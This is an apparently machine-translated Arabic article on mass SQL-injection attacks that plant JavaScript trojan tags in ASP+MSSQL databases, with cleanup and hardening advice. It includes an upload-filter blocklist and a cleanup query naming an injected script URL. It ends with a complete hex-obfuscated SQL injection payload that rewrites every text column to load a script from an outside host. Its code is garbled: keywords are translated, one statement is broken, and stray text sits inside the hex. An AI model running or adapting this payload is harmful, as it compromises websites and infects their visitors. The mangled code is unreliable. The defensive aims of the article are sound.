في هذه الأيام، ربما تكون العديد من مواقع الويب المصممة باستخدام ASP+MSSQL قد شهدت تجربة إدراج قواعد بيانات SQL الخاصة بها في أحصنة طروادة JS بواسطة المتسللين؛ لا، لقد تم خداع موقع ويب أحد الأصدقاء من قبل المتسللين.
يتم إدراج كل حقل varchar وحقل نصي في mssql تلقائيًا في جزء من كود js. حتى إذا تم حذف هذا الجزء من الكود، إذا لم يتم حل المصدر، فسيتم إدراج كود js تلقائيًا في قاعدة البيانات في بضع دقائق.
بعد ملاحظة Piao Yi، من المحتمل أن يتم تنفيذ ذلك تلقائيًا بواسطة البرنامج. يبحث المتسللون أولاً عن مواقع الويب الضعيفة المصممة باستخدام asp+mssql من محركات البحث مثل Google وBaidu، ثم يستخدمون أدوات المسح بالحقن مثل Xiao Mingzi لفحص الموقع بالكامل. بمجرد اكتشاف ثغرة أمنية في حقن SQL أو تحميلها إذا كانت هناك ثغرات أمنية، يستخدم المتسللون وسائل مختلفة لتحميل أحصنة طروادة الخاصة بهم، مثل Haiyang Trojans، ثم يقوم المتسللون بإدراج موقع الويب هذا في قائمة الملفات الخاصة بهم، وإضافة رموز js التي يريدون إضافتها إلى قاعدة البيانات في أي وقت؛ غالبًا ما تحتوي الرموز على العديد من الفيروسات وأحصنة طروادة، والتي تسمم في النهاية أجهزة الكمبيوتر الخاصة بالمستخدمين الذين يزورون مواقع الويب الخاضعة للرقابة.
على الرغم من أنه يمكنك إجراء استبدال دفعة من خلال محلل استعلام SQL لحل مشكلة كود js المدرج مؤقتًا، إذا لم تقم بحل نقاط الضعف في موقع الويب بالكامل بشكل أساسي، بما في ذلك أذونات أمان البرنامج والخادم، فلا يزال بإمكان المتسللين غزو موقع الويب الخاص بك في أي وقت. قاعدة بيانات الموقع.
في محلل استعلام SQL، يمكنك تنفيذ التعليمات البرمجية التالية لاستبدال تعليمات برمجية js على دفعات:
انسخ رمز الكود كما يلي:
"تحديث اسم الجدول المحدد اسم الحقل = استبدال (اسم الحقل،'<Script Src=http://cn%75clear3.com/css/c.js></Script>'،'')"
قام Flymorn بفحص الموقع بعناية ووجد العديد من المشكلات الأمنية:
أولاً، يحتوي موقع الويب على ثغرة أمنية في التحميل؛ على الرغم من أن تحميل الملفات يتطلب مصادقة المسؤول ومصادقة تنسيق الملف للملفات التي تم تحميلها، وتستخدم مصادقة المسؤول ملفات تعريف الارتباط، ويمكن تزوير ملفات تعريف الارتباط، وإذا تم تحميلها، فلا تصدر أي حكم على محتوى الملف. بعد التقاط الصورة، فمن المرجح أن يتم تحميل صورة حصان طروادة.
الحلول: 1 حذف وظيفة تحميل الملف (غير عملي)؛ 2 تعديل التحقق من مستخدم التحميل إلى التحقق من الجلسة؛ 3 التحقق من محتوى الملف الذي تم تحميله، وحذفه إذا كان حصان طروادة، يمكنك الرجوع إلى رمز التحقق التالي :
انسخ رمز الكود كما يلي:
''================ تحديد ما إذا كان الملف الذي تم تحميله يحتوي على بداية سلسلة غير قانونية================
تعيين MyFile = server.CreateObject("Scripting.FileSystemObject")
اضبط MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) 'قراءة الملف النصي
sTextAll = lcase(MyText.ReadAll)
MyText.إغلاق
تعيين MyFile = لا شيء
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
sNoString = انقسام(sStr،"|")
لأني=0 إلى ubound(sNoString)
إذا كان instr(sTextAll,sNoString(i)) إذن
تعيين filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(filePath)
تعيين filedel = لا شيء
Response.Write("<script>alert('هناك مشكلة في الملف الذي قمت بتحميله، فشل التحميل!');history.back();</script>")
الاستجابة.النهاية
نهاية إذا
التالي
''=================================== تحديد ما إذا كان الملف الذي تم تحميله يحتوي على نهاية سلسلة غير قانونية=================
ثانيًا، يحتوي موقع الويب على ثغرة أمنية في حقن ملفات تعريف الارتباط. نظرًا لتصميم البرنامج، ومن أجل تقليل الحمل الزائد على الخادم، يستخدم جميع المستخدمين ملفات تعريف الارتباط للمصادقة بعد تسجيل الدخول. يقوم ملف تعريف الارتباط هذا بتخزين معرف المستخدم واسمه، كما نعلم جميعًا، غالبًا ما يتم تزوير ملفات تعريف الارتباط بواسطة المتسللين. بالإضافة إلى ذلك، لا تستخدم بعض المعلمات الخارجية نموذج الطلب الصارم وسلسلة الاستعلام الاستعلام للحصول على المحتوى، للتبسيط، يتم استخدام الطلب ("المعرف").
نحن نعلم أن طلب ASP يحصل أولاً على المحتوى من النموذج وسلسلة الاستعلام. إذا كان هذان العنصران فارغين، فيجب الحصول على المحتوى من ملفات تعريف الارتباط. غالبًا ما يفكر الأشخاص في إدخال SQL لـ request.form وrequest.querystring في البرمجة ويتم تصفية request.querystring عمومًا لحقن SQL، لكنهم ينسون تصفية الحقن في وضع ملف تعريف الارتباط. دعونا نلقي نظرة على بيان SQL التالي:
انسخ رمز الكود كما يلي:
SQL = "اختر * من اسم الجدول حيث")
إذا حدث أن حصل هذا المعرف على القيمة من خلال ملفات تعريف الارتباط، ففكر في الأمر، يا له من شيء فظيع! يمكن للحاقن بسهولة تزييف ملف تعريف ارتباط مزيف باسم id لأن ملف تعريف الارتباط الذي يحمل هذا المعرف تم تعيينه له بواسطة الخادم. يمكن تزوير ملف تعريف الارتباط هذا في جزء من التعليمات البرمجية المشابهة لما يلي:
انسخ رمز الكود كما يلي:
dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 شبكة مواهب تكنولوجيا المعلومات () 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a كما vArChAr(4000));exec(@s);--